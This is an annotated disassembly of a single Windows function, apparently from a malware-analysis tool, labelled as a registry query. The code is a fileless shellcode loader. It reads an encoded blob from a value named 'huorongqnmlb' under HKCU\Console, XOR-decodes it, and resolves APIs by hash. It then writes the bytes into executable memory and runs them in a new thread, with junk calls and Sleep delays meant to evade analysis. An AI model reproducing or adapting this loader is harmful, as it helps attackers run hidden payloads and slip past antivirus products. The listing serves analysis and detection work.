Function at 0x140003b10
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
call fcn.140001140
test eax, eax
je 0x140003b2e
call fcn.140001090
call section..text
test eax, eax
je 0x140003b3c
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x140003b4a
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140003b58
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140003b66
call section..text
call fcn.140001140
test eax, eax
je 0x140003b74
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x140003b82
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140003b90
call section..text
call fcn.1400012a0
test eax, eax
je 0x140003b9e
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x140003bac
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140003bba
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140003bc8
call fcn.1400012a0
call section..text
test eax, eax
je 0x140003bd6
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x140003be4
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x140003bf2
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140003c00
call fcn.1400014b0
call fcn.1400011f0
test eax, eax
je 0x140003c0e
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x140003c1c
call fcn.140001140
call fcn.140001140
test eax, eax
je 0x140003c2a
call section..text
call section..text
test eax, eax
je 0x140003c38
call fcn.140001090
call fcn.140001140
test eax, eax
je 0x140003c46
call fcn.140001090
call section..text
test eax, eax
je 0x140003c54
call fcn.1400011f0
call fcn.140001090
test eax, eax
je 0x140003c62
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x140003c70
call fcn.140001090
call fcn.1400012a0
test eax, eax
je 0x140003c7e
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x140003c8c
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x140003c9a
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x140003ca8
call fcn.1400012a0
call fcn.140001090
test eax, eax
je 0x140003cb6
call fcn.140001350
call fcn.140001140
test eax, eax
je 0x140003cc4
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140003cd2
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x140003ce0
call section..text
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [rsp + 0x68]
lea rdx, str.Console
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r13d, r13d
mov ecx, 0x1f4
mov dword [rsp + 0x60], r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
mov qword [rsp + 0x28], r11
lea rdx, str.huorongqnmlb
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.14000a1b8
mov ecx, 0x1f4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x68]
lea r11, [rsp + 0x60]
lea rdx, str.huorongqnmlb
xor r9d, r9d
mov qword [rsp + 0x28], r11
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x60]
call fcn.14000a1b8
mov rbp, rax
cmp dword [rsp + 0x60], r13d
jbe 0x140003dc9
mov r9, rax
sub rbx, rax
mov r8, rax
neg r9
nop dword [rax]
movzx edx, byte [rbx + r8]
inc r8
mov byte [r8 - 1], dl
mov eax, dword [rsp + 0x60]
lea rdx, [r9 + r8]
cmp rdx, rax
jb 0x140003db0
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140003980
mov edx, 0xf0b03804
mov rcx, rax
mov rbx, rax
call fcn.140003a40
mov edx, 0x1ac1e8e1
mov rcx, rbx
mov rdi, rax
call fcn.140003a40
lea rcx, str.kernel32.dll
mov rsi, rax
call rdi
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rbx, rax
call rsi
lea rdx, str.CreateThread
mov rcx, rbx
mov rdi, rax
call rsi
lea rdx, str.WaitForSingleObject
mov rcx, rbx
mov r12, rax
call rsi
mov ecx, dword [rsp + 0x60]
mov r9d, r13d
mov rsi, rax
mov r8, r13
test ecx, ecx
je 0x140003ead
mov r10, rbp
lea r11, str.0x86
nop dword [rax + rax]
movsx ecx, byte [r8 + r11]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r10], cl
and eax, 0x80000003
jge 0x140003e98
dec eax
or eax, 0xfffffffc
inc eax
mov ecx, dword [rsp + 0x60]
test eax, eax
cmove r8, r13
inc r9d
inc r10
cmp r9d, ecx
jb 0x140003e60
mov edx, ecx
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rdi
mov r8d, dword [rsp + 0x60]
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call fcn.14000b890
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret